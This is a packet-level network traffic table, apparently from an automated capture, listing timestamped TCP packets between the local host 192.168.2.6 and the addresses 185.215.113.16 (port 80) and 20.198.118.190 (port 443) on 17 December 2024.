Dec 17, 2024 10:08:53.978651047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.978681087 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.978691101 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.978693008 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.978729963 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.979530096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.979541063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.979552031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.979562998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.979574919 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.979584932 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.979612112 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.980271101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.980281115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.980293036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:53.980313063 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:53.980343103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.007015944 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:54.007112026 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:54.007488012 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:54.008305073 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:54.008305073 CET	49790	443	192.168.2.6	20.198.118.190
Dec 17, 2024 10:08:54.008337021 CET	443	49790	20.198.118.190	192.168.2.6
Dec 17, 2024 10:08:54.031521082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.031584024 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.031596899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.031621933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.031650066 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.031694889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.031810999 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.031852007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.031862974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.031888962 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.031986952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.032027006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.032640934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.032654047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.032665968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.032697916 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.032804012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.032860994 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.033586025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.033610106 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.033621073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.033660889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.033812046 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.033878088 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.034249067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.034261942 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.034274101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.034305096 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.034375906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.034415007 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.114558935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.114574909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.114588022 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.114624977 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.114671946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.114833117 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.114880085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.114892960 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.114905119 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.114937067 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.115355015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.115396023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.115406990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.115434885 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.115451097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.115600109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.116360903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.116372108 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.116411924 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.116446972 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.116548061 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.116589069 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.117115021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.117125988 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.117139101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.117149115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.117160082 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.117177963 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.117763042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.117811918 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.117837906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.117850065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.117888927 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.117925882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.118541956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.118554115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.118566036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.118593931 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.118623018 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.118642092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.161334038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.161351919 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.161365986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.161392927 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.161427021 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.161478996 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.161587000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.161597967 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.161611080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.161628962 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.161645889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.162112951 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.162123919 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.162180901 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.162220001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.162233114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.162267923 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.162954092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.162998915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.163009882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.163047075 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.163244963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.163280964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.163749933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.163770914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.163783073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.163815022 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.163885117 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.163957119 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.164525032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.164536953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.164549112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.164589882 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.164650917 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.164688110 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.165354967 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.165366888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.165378094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.165402889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.165676117 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.165713072 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.166115999 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.166126966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.166145086 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.166173935 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.166285992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.166321039 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.166901112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.166913986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.166927099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.166974068 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.167066097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.167100906 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.167866945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.167879105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.167891026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.167942047 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.168004990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.168037891 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.168559074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.168570042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.168581963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.168621063 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.168675900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.168813944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.169307947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.169318914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.169333935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.169359922 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.169574976 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.169636011 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.170130968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.170176983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.170187950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.170221090 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.170275927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.170420885 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.170897007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.170908928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.170922041 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.170942068 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.171035051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.171081066 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.171690941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.171701908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.171715021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.171741962 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.171900034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.171937943 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.172446012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.172642946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.172688007 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.223546982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.223566055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.223579884 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.223592997 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.223678112 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.223727942 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.223750114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.223762989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.223773956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.223799944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.224036932 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.224433899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.224447012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.224457979 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.224478006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.224505901 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.224654913 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.225063086 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.225126028 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.225146055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.225157022 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.225181103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.225263119 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.225927114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.225944996 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.225955963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.225961924 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.225987911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.226207972 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.226739883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.226775885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.226775885 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.228075981 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.306456089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.306497097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.306508064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.306552887 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.306749105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.306926012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.306936979 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.306947947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.306972027 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.307487965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.307498932 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.307509899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.307528019 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.307566881 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.308159113 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.308185101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.308197021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.308207989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.308223963 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.308242083 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.308844090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.308856010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.308897972 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.308898926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.308913946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.308948040 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.309071064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.309706926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.309716940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.309727907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.309742928 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.309757948 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.310487986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.310499907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.310535908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.310545921 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.310549974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.310591936 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.311165094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.367700100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.367729902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.367743969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.367754936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.367767096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.367854118 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.367865086 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.367877007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.367924929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.367924929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.368006945 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.368010044 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.368056059 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.368690968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.368701935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.368712902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.368735075 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.369391918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.369404078 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.369445086 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.369491100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.369501114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.369512081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.369541883 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.369589090 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.370251894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.370264053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.370275021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.370325089 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.370806932 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.370816946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.370845079 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.370847940 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.370857954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.370893955 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.371330023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.371340990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.371354103 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.371370077 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.371396065 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.372103930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.372117043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.372157097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.373462915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.373473883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.373485088 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.373517036 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.373856068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.373872995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.373883963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.373894930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.373915911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.373941898 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.374294043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.374305964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.374316931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.374349117 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.375050068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.375062943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.375086069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.375097036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.375102043 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.375102043 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.375138998 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.375190020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.375808954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.375819921 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.375860929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.375938892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.375951052 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.375987053 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.376626015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.376636982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.376677036 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.376756907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.376769066 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.376804113 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.377484083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.377495050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.377505064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.377533913 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.377552032 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.378191948 CET	80	49774	185.215.113.16	192.168.2.6
